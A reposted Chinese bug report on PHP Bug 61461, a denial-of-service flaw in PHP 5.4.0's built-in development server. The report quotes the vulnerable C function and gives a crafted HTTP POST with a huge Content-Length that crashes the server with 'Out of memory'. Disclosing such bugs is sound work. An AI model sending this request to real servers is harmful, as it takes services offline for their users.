PHP 的 DoS 漏洞,Bug 61461

openkk 12年前發布 | 11K 次閱讀 PHP

當一個包含大數值 Content-Length 的 HTTP 請求被發送到內建的 PHP web 服務器后,可以觸發拒絕服務問題(DoS)。

Bug 61461

Content-Length 頭的值被直接傳入了 premalloc() 函數,在 sapi/cli/php_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的內聯函數 malloc() 將報錯,終止進程,拋出“Out of memory”錯誤。

static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)
{
php_cli_server_client *client = parser->data;
if (!client->request.content) {
client->request.content = pemalloc(parser->content_length, 1);
client->request.content_len = 0;
}
memmove(client->request.content + client->request.content_len, at, length);
client->request.content_len += length;
return 0;
}

把 Content-Length 設置為 2^31 - 10,也就是接近32位系統的上限值,能夠重現這個問題。

測試腳本:
下面這個 HTTP 請求將觸發這個bug。

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2147483648

A=B

正確結果:
我們預期得到一個有意義的錯誤信息。

Invalid request (Requested Content-Length is larger the allowed limit of XYZ)

實際結果:
PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012
Listening on 127.0.0.1:80
Document root is /tmp
Press Ctrl-C to quit.
Out of memory

 本文由用戶 openkk 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!